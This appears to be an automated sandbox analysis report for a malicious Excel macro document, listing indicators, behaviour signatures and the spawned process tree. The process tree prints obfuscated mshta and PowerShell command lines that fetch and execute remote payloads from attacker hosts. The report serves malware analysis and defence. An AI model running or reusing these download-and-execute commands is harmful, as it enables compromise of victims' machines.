Analysis

  • max time kernel
    12s
  • max time network
    45s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220113
  • submitted
    20/01/2022, 20:33

General

  • Target
    021ddf6034597ef3dc3bdcf3b92e614c.xls
  • Size 141KB
  • Sample220120-zbt4hsbecj
  • SHA256 5d6ba77bfd649ae36a50df3bd458879fce4c5fb04a2dfbfbd64c927d086e94cd
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://0xb907d607/fer/fer.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://185.7.214.7/fer/fer.png

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 41 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\021ddf6034597ef3dc3bdcf3b92e614c.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:680
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2032
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:3348
        • C:\Windows\system32\mshta.exe
          mshta http://0xb907d607/fer/fer.html
          3⤵
          • Blocklisted process makes network request
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:2264
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
            4⤵
              PID:1980
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
        1⤵
          PID:3244
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k PrintWorkflow
          1⤵
            PID:3444
          • C:\Windows\System32\WaaSMedicAgent.exe
            C:\Windows\System32\WaaSMedicAgent.exe d3df8f42bcc0c4ae66628ac050715cd5 pyCuDqw2BkiKyvgz0mhFaQ.0.1.0.0.0
            1⤵
            • Modifies data under HKEY_USERS
            PID:3404
          • C:\Windows\system32\WerFault.exe
            C:\Windows\system32\WerFault.exe -pss -s 420 -p 2264 -ip 2264
            1⤵
              PID:3828

            Network

                  MITRE ATT&CK Enterprise v6

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                  Downloads

                  memory/680-130-0x00007FF7E60D0000-0x00007FF7E60E0000-memory.dmp

                  memory/680-131-0x00007FF7E60D0000-0x00007FF7E60E0000-memory.dmp

                  memory/680-132-0x00007FF7E60D0000-0x00007FF7E60E0000-memory.dmp

                  memory/680-133-0x00007FF7E60D0000-0x00007FF7E60E0000-memory.dmp

                  memory/680-134-0x00007FF7E60D0000-0x00007FF7E60E0000-memory.dmp

                  memory/680-137-0x00007FF7E3A40000-0x00007FF7E3A50000-memory.dmp

                  memory/680-138-0x00007FF7E3A40000-0x00007FF7E3A50000-memory.dmp